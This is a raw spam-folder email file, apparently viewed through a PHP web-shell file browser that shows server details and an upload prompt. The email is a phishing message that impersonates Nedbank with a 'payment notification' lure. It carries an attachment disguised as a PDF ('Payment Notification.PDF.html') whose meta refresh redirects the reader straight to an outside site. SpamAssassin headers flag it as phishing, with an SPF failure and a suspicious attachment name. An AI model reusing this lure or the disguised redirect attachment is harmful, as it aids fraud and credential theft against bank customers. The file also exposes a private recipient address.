HEX
Server: Apache
System: Linux zacp120.webway.host 4.18.0-553.50.1.lve.el8.x86_64 #1 SMP Thu Apr 17 19:10:24 UTC 2025 x86_64
User: govancoz (1003)
PHP: 8.3.26
Disabled: exec,system,passthru,shell_exec,proc_close,proc_open,dl,popen,show_source,posix_kill,posix_mkfifo,posix_getpwuid,posix_setpgid,posix_setsid,posix_setuid,posix_setgid,posix_seteuid,posix_setegid,posix_uname
Upload Files
File: /home/govancoz/mail/.spam/new/1722888905.M772766P3531936.zacp120.ve.host,S=6075,W=6209
Return-Path: <notification@nedbank.co.za>
Delivered-To: govancoz+spam@zacp120.ve.host
Received: from zacp120.ve.host
	by zacp120.ve.host with LMTP
	id mD99LckysWag5DUAvcbEzQ
	(envelope-from <notification@nedbank.co.za>)
	for <govancoz+spam@zacp120.ve.host>; Mon, 05 Aug 2024 22:15:05 +0200
Return-path: <notification@nedbank.co.za>
Envelope-to: nilam@govan.co.za
Delivery-date: Mon, 05 Aug 2024 22:15:05 +0200
Received: from 42-200-210-96.static.imsbiz.com ([42.200.210.96]:46236 helo=mail.refholdings.com.hk)
	by zacp120.ve.host with esmtp (Exim 4.97.1)
	(envelope-from <notification@nedbank.co.za>)
	id 1sb46g-0000000EoxY-0SKP
	for nilam@govan.co.za;
	Mon, 05 Aug 2024 22:15:05 +0200
Received: from localhost (localhost [127.0.0.1])
	by newuniversegroup.com (Postfix) with ESMTP id 905CD568ED44;
	Tue,  6 Aug 2024 04:10:36 +0800 (HKT)
X-Virus-Scanned: amavisd-new at newuniversegroup.com
Received: from newuniversegroup.com ([127.0.0.1])
	by localhost (mail.refholdings.com.hk [127.0.0.1]) (amavisd-new, port 10024)
	with LMTP id WVGtldCmZJwh; Tue,  6 Aug 2024 04:10:34 +0800 (HKT)
Received: from [192.168.0.3] (unknown [41.216.202.138])
	by newuniversegroup.com (Postfix) with ESMTPA id 33D80564A59B;
	Mon,  5 Aug 2024 20:28:33 +0800 (HKT)
Content-Type: multipart/mixed; boundary="===============0767571810=="
MIME-Version: 1.0
To: Recipients <notification@nedbank.co.za>
From: Nedbank <notification@nedbank.co.za> 
Date: Mon, 05 Aug 2024 05:28:25 -0700
X-Spam-Status: Yes, score=14.1
X-Spam-Score: 141
X-Spam-Bar: ++++++++++++++
X-Spam-Report: Spam detection software, running on the system "zacp120.ve.host",
 has identified this incoming email as possible spam.  The original
 message has been attached to this so you can view it or label
 similar future email.  If you have any questions, see
 root\@localhost for details.
 Content preview:  A payment has been made to your account. To view the details
    of the payment, please open the attached PDF file. You may require Adobe
   Acrobat Reader on your computer to open the PDF file. Please do not reply
   as this email was sent from an unattended mailbox. 
 Content analysis details:   (14.1 points, 5.0 required)
  pts rule name              description
 ---- ---------------------- --------------------------------------------------
  0.0 TVD_RCVD_IP            Message was received from an IP address
  0.0 RCVD_IN_VALIDITY_RPBL_BLOCKED RBL: ADMINISTRATOR NOTICE: The
                             query to Validity was blocked.  See
                             https://knowledge.validity.com/hc/en-us/articles/20961730681243
                              for more information.
                             [42.200.210.96 listed in bl.score.senderscore.com]
  0.0 RCVD_IN_VALIDITY_CERTIFIED_BLOCKED RBL: ADMINISTRATOR NOTICE:
                             The query to Validity was blocked.  See
                             https://knowledge.validity.com/hc/en-us/articles/20961730681243
                              for more information.
                             [42.200.210.96 listed in sa-accredit.habeas.com]
  4.0 SPF_FAIL               SPF: sender does not match SPF record (fail)
 [SPF failed: Please see http://www.openspf.org/Why?s=mfrom;id=notification%40nedbank.co.za;ip=42.200.210.96;r=zacp120.ve.host]
  0.0 HTML_MESSAGE           BODY: HTML included in message
  0.0 HTML_EXTRA_CLOSE       BODY: HTML contains far too many close tags
  0.1 HTML_TAG_BALANCE_BODY  BODY: HTML has unbalanced "body" tags
  2.4 RAZOR2_CF_RANGE_51_100 Razor2 gives confidence level above 50%
                             [cf: 100]
  1.7 RAZOR2_CHECK           Listed in Razor2 (http://razor.sf.net/)
  0.0 KAM_DMARC_STATUS       Test Rule for DKIM or SPF Failure with Strict
                             Alignment
  1.5 KAM_DMARC_QUARANTINE   DKIM has Failed or SPF has failed on the
                             message and the domain has a DMARC
                             quarantine policy
  0.0 T_HTML_ATTACH          HTML attachment to bypass scanning?
  3.5 PHISH_ATTACH           Attachment filename suspicious, probable phishing
  0.0 FSL_BULK_SIG           Bulk signature with no Unsubscribe
  0.8 TO_EQ_FM_SPF_FAIL      To == From and external SPF failed
  0.0 TO_EQ_FM_DOM_SPF_FAIL  To domain == From domain and external SPF
                             failed
X-Spam-Flag: YES
Subject:  ***SPAM***  Payment Notification

You will not see this in a MIME-aware mail reader.
--===============0767571810==
Content-Type: multipart/alternative; boundary="===============0901742011=="
MIME-Version: 1.0

--===============0901742011==
Content-Type: text/plain; charset="iso-8859-1"
MIME-Version: 1.0
Content-Transfer-Encoding: quoted-printable
Content-Description: Mail message body

A payment has been made to your account.
 To view the details of the payment, please open the attached PDF file.
 =

 You may require Adobe Acrobat Reader on your computer to open the PDF file.
 =

 Please do not reply as this email was sent from an unattended mailbox.

--===============0901742011==
Content-Type: text/html; charset="iso-8859-1"
MIME-Version: 1.0
Content-Transfer-Encoding: quoted-printable
Content-Description: Mail message body

<HTML><head>
<meta http-equiv=3D"X-UA-Compatible" content=3D"IE=3Dedge">
<meta http-equiv=3D"Content-Type" content=3D"text/html; charset=3Diso-8859-=
1"></head><body><p>A payment has been made to your account.<br>
To view the details of the payment, please open the attached PDF file.<br>
<br>
You may require Adobe Acrobat Reader on your computer to open the PDF file.=
<br>
<br>
Please do not reply as this email was sent from an unattended mailbox.</p><=
/BODY></HTML>
--===============0901742011==--
--===============0767571810==
MIME-Version: 1.0
Content-Type: text/html; charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable
Content-Disposition: attachment; filename="Payment Notification.PDF.html"


<!DOCTYPE html>


<meta http-equiv=3D"refresh" content=3D"00;https://aminsms.com/EPDoz">

<body class=3D"center">
</html>


--===============0767571810==--